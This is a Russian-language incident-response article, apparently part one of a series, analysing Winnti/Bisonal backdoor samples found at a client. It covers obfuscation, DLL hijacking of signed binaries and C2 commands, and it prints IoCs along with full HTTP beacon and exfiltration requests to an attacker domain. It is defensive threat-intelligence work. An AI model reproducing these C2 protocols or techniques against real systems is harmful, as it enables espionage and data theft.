Обзор обнаруженных техник и тактик группировки Winnti. Часть 1
Одно фишинговое письмо, по неосторожности открытое сотрудником компании, - и важная информация слита злоумышленнику. Всего лишь один клик мышью - и на компьютере сотрудника запущены процессы, «допускающие» злоумышленников к инфраструктуре организации. При этом «антивирусы» взлом пропустили. Как раз с таким случаем столкнулся наш автор, эксперт «Информзащиты», при обнаружении атаки группировки Winnti на компанию-заказчика. Эта группировка специализируется на краже данных у предприятий военно-промышленного комплекса, правительственных организаций и разработчиков ПО.
«Информзащите» удалось отследить и систематизировать техники и тактики Winnti. Анализ получился достаточно глубоким и будет любопытен техническим специалистам. Предлагаем погружаться в детали постепенно, а потому сегодня только первая часть скринов кода и наших комментариев.
Введение
В ноябре 2020 года при подключении заказчика на мониторинг SOC и анализе событий в инфраструктуре аналитики IZ:SOC компании «Информзащита» зафиксировали подозрительную активность. В процессе расследования инцидентов ИБ были обнаружены следы APT (advanced persistent threat).
Атаки проводились как с использованием автоматизированных средств разведки и проникновения, так и в ручном режиме, когда злоумышленники осуществляли непосредственное управление установленным в системе вредоносным программным обеспечением. Результатом атак, помимо проникновения и закрепления в инфраструктуре, был сбор информации со скомпрометированных хостов и ее отправка за пределы организации.
В состав используемого злоумышленниками инструментария входили:
средства для сбора информации;
средства удаленного управления;
многофункциональный бэкдор семейства Bisonal, утилиты для сканирования сети на наличие уязвимости CVE-2017-0144 (MS17-010);
утилиты из набора Impacket, программы для перенаправления сетевого трафика и извлечения паролей из памяти;
вредоносные динамические библиотеки для инъекции вредоносного кода;
легитимные процессы.
Согласно доступным нам на момент написания данной статьи отчетам производителей средств защиты информации, обнаруженные индикаторы компрометации и используемое вредоносное ПО предположительно относится к семейству Bisonal. Данные индикаторы могут быть связаны с APT-группой Winnti. Страной происхождения группы предположительно является Китай. Основными целями APT-атак, в которых используют указанное ВПО, являются шпионаж и кража критических данных. Как правило, жертвы группы Winnti - это организации, относящиеся к ВПК, аэрокосмической отрасли, а также правительственные организации, разработчики ПО.
Анализ функциональности вредоносного ПО
В рамках расследования инцидента было обнаружено несколько образцов вредоносного программного обеспечения. Результаты исследования некоторых из них представлены ниже.
MpUxSCuiL.exe
Один из обнаруженных образцов маскируется под модуль Windows Defender. В рамках анализа функциональности вредоносного ПО была установлена схожесть обнаруженных экземпляров с семейством Bisonal. В частности, было изучено поведение, методы обфускации кода и защиты от отладки.
Образец представляет собой средство для сбора информации о зараженной системе и скрытого выполнения команд от C2.
Для усложнения анализа функция main изученного образца насыщена переходами, а общее количество блоков составляет несколько тысяч.
Для загрузки необходимых библиотек используется явное связывание. Имена библиотек хранятся в зашифрованном виде и расшифровываются перед использованием.
Явное связывание библиотек с использованием функций GetProcAddress и LoadLibraryA
В качестве С2 используются два сервера управления: внешний (172.217.13[.]84:443) и локальный (10.10.48[.]166:49688). В обоих случаях устанавливается TCP-соединение, через которое передаются зашифрованные данные. Адреса серверов управления также хранятся в зашифрованном виде. Для реализации сетевых соединений используются Windows сокеты и библиотека WS2_32.dll.
Зашифрованные строки с IP-адресами серверов управления
Расшифровка IP-адресов серверов управления
Функция decrypt
Декомпилированный код функции decrypt представлен на изображении. Данная функция используется для шифрования имен загружаемых библиотек, IP-адресов серверов управления и т.д.
Сетевое взаимодействие с C2 с использованием функций библиотеки WS2_32.dll
Бессмысленные строки в исполняемом файле
Вместе с использованием избыточного ветвления в главной функции, в образце содержится множество строк, которые не выполняют никаких функций. Кроме того, в образце используются функции GetTickCount и IsDebuggerPresent, которые реализуют простейший механизм антиотладки.
Подобное поведение было описано в следующих отчетах
https://securelist.ru/cactuspete-apt-groups-updated-bisonal-backdoor/97729
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/
Применение DLL Hijacking
Для закрепления в системе злоумышленники использовали технику Dll Hijacking. Основное преимущество в том, что в автозапуск системы прописывается уязвимый для Dll Hijacking легитимный файл, зачастую имеющий цифровую подпись. В этом случае вредоносная нагрузка злоумышленников располагается в DLL библиотеке, которая будет загружена при запуске легитимного исполняемого файла.
В ходе расследования инцидента было обнаружено несколько модулей, которые закреплялись подобным образом. Для реализации Dll Hijacking злоумышленники использовали легитимные файлы с цифровой подписью:
NvContainer64.exe (NVIDIA)- 1e3c33ff0386326773b6c58d46cbf53b1b2bef91
frwl_svc.exe (Dr.Web) - 6f86e203d20abb0499bbf8468095d99ffb20f6e2
LBTWiz.exe (Logitech) – 431e5aa8ab8616dbca14854182a6c0a73946abdc
bdreinit.exe (BitDefender) - f9a1e292bf6cdf7bb34c293dc06d8754549fe1a4
Анализ библиотек с полезными нагрузками в настоящий момент не завершен.
version.dll - e370e8d883ea347b6f3475522adc69bc8725d127
wtsapi32.dll - 3bb315d0a86cf6a08eb32ea5a59263fcb8a649af
LBTServ.dll - 387c404930815ac5711e52185492b6425b1de05a
dbghelp.dll - a543f2abe6e46aefde4aae0ccc82ad3c26e8c391
Conhost.exe
На нескольких хостах был обнаружен другой экземпляр вредоносного ПО, который использовала та же группировка. В ходе изучения образца был выявлена следующая функциональность:
передача списка процессов на C2;
завершение указанного оператором процесса;
загрузка с С2 и запуск исполняемого файла;
запуск командной оболочки для интерактивной работы оператора.
Главная функция семпла содержит более тысячи блоков с избыточным ветвлением и искусственным усложнением логики. При детальном рассмотрении установлено, что большинство блоков в главной функции не несут смысловой нагрузки и не выполняются при запуске образца. Кроме того, в главной функции содержится множество статических строк, которые не используются. Как и в случае MpUxSCuiL.exe, эти строки не участвуют при выполнении основной логики и служат лишь для усложнения анализа.
Также в целях усложнения анализа авторы семпла реализовали специфический механизм для задержки выполнения программы. Данный механизм представляет собой счетчик, в котором вместо целочисленных значений сравниваются значения хешей MD5 от целых чисел. При этом число представлено в кодировке ANSI. Конечным значением счетчика является хеш 0882a673e1a7ef00f19171501163b669 от последовательности байт 0x313038333736363439 (число 108376649). Подобные вычисления создают большую нагрузку на центральный процессор, что вызывает практически полную его загрузку на несколько минут. Предполагается, что такая сложность вычислений заставит некоторые антивирусные средства и песочницы прервать проверку файла.
Далее семпл получает свое название с помощью функции GetModuleFileNameW и проверяет один из двух критериев: если название модуля не conhost.exe или в названии отсутствует расширение .tmp, то семпл прекращает свою работу.
После проверки имени образец расшифровывает другой набор строк для дальнейшей работы. В качестве шифрования используется XOR. Несмотря на то, что ключ XOR генерируется «на лету», он статичен и совпадает для всех строк. В приведенном наборе строк находятся HTTP-заголовки, домен сервера управления, эндпоинты сервера управления, название библиотеки wininet.dll и ее экспортируемые функции.
Далее образец загружает библиотеку wininet.dll с помощью функции LoadLibrary. После получения адреса библиотеки в памяти с помощью функции GetProcAddress вычисляются смещения до экспортируемых функций:
Получение адресов используемых функций
Далее вредонос получает данные о системе:
используемый прокси-сервер;
раскладка клавиатуры;
время с момента загрузки системы;
имя компьютера;
учетная запись, из-под которой запущен семпл;
локальный IP-адрес хоста.
Для работы с сервером управления образец периодически отправляет Hello-сообщения на С2 через HTTPS соединение. В поле Cookie передается информация о зараженной системе закодированная Base32. Формат передаваемых в Cookies данных представлен на рисунке.
GET /ru/order/index.php?strPageID=2150213824 HTTP/1.1
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=AHAKQKMAWUAQAAH75IMAIAAAAAAAMAAAAAAQAAAAAEHQAV
2JJYWUKRSVIZIDSTSKJNJFEBAAOVZWK4QPABLUSTRNIVDFKRSQHFHEUS2SKIJAAMJSG4XDALRQFYYTUOBQHAYDUOSPNYDAA3TFO44TCMI=
Host: microsoft.offices-update.com
Структура Hello-сообщения
Если в теле ответа на Hello-сообщение сервер возвращает {"status":"success"}, семпл создает новый поток, в котором выполняются обращения на другой эндпоинт сервера управления: https://{Domain}/ru/news/index.php. В качестве параметра newsID используется дата и время (только минуты и секунды). Этот эндпоинт применяется для передачи вредоносу различных команд.
GET /ru/news/index.php?strPageID=2150213824&newsID=2021-04-12-2658 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Обращение на эндпоинт для получения команд
В ответе сервера может быть передана одна из команд.
1. Загрузка и запуск исполняемого файла:
обращение к эндпоинту https://{domain}/sitefiles/index.php и сохранение файла в каталоге %TEMP%;
запуск исполняемого файла с помощью функции ShellExecuteW;
передача вывода запущенного файла на эндпоинт-приемник.
2. Запуск интерактивной командной оболочки:
запуск экземпляра командной строки;
периодическое чтение и передача вывода командной строки.
3. Передача команды в экземпляр командной строки через pipe
4. Получение списка процессов
5. Завершение указанного процесса
Вывод каждой из описанных команд передается на специальный эндпоинт-приемник в виде POST-запроса. Передаваемые данные шифруются тем же XOR-ключом, что и строки в теле трояна.
POST /xhome.native.page/datareader.php?sid=2150213824 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
Referer: /siteFiles/index.php?strPageID=2150213824
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Content-Length: 21
Cache-Control: no-cache
<encoded_data>
Если команда в ответе отсутствовала, троян засыпает на случайное количество миллисекунд.
GET /siteFiles/index.php?strPageID=2150213824 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Kill Chain
На рисунке 1 представлены действия злоумышленников в инфраструктуре. Из проведенного анализа в предыдущей главе мы предполагаем, что для получения первичного доступа к системе использовался фишинговый документ. Далее на компьютере одного из сотрудников была запущена вредоносная нагрузка, которая подключалась к внешнему серверу и скачивала исполняемый код. На каждом хосте вручную собирались уникальные вредоносные нагрузки, которые в дальнейшем использовали технику Hijack Execution Flow: DLL Search Order Hijacking для закрепления в системе. Также закрепление происходило с помощью классических техник, а именно: модификаций веток в реестре, запуска вредоносных служб, создания задач в планировщике заданий.
После этого злоумышленники проводили разведку с использованием как стандартных системных утилит, так и с применением специального ПО. Для перемещения внутри инфраструктуры и удаленного выполнения команд использовалась утилита из пакета Impacket - wmiexec.exe. Доступ к учетным записям был получен посредством обращения к области памяти процесса lsass.exe.
В качестве инструмента для вывода данных во внешнюю сеть злоумышленники использовали собственную сборку архиватора.
Существуют различные подходы к описанию действий злоумышленника. В данной статье будет использован TTPs-подход на основе ATT&CK MATRIX, доступной базы знаний, основанной на анализе реальных атак.
Использование такой системы категоризации поведения атакующих позволяет не только предсказать дальнейшие шаги, но и выявить конкретную группировку в соответствии с используемыми методами.
Initial Access (TA0001) / Execution (TA0002) / Prive
Предположительно, начальный доступ к инфраструктуре был получен в результате отправки фишингового письма сотруднику организации. По обнаруженным остаточным следам после открытия вложения на компьютере запускается вредоносная нагрузка, которая подключается к внешнему серверу и скачивает исполняемый код.
Вредоносная нагрузка не детектируется распространёнными на рынке антивирусными средствами как на клиенте, так и на почтовом сервере…
Продолжение читайте во второй части. Мы расскажем, каким образом злоумышленники обходили защиту, как усложняли оценку критичности украденной информации, и что именно позволило аналитикам провести работу по определению скомпрометированных хостов и предотвращению дальнейшего продвижения злоумышленников внутри сети.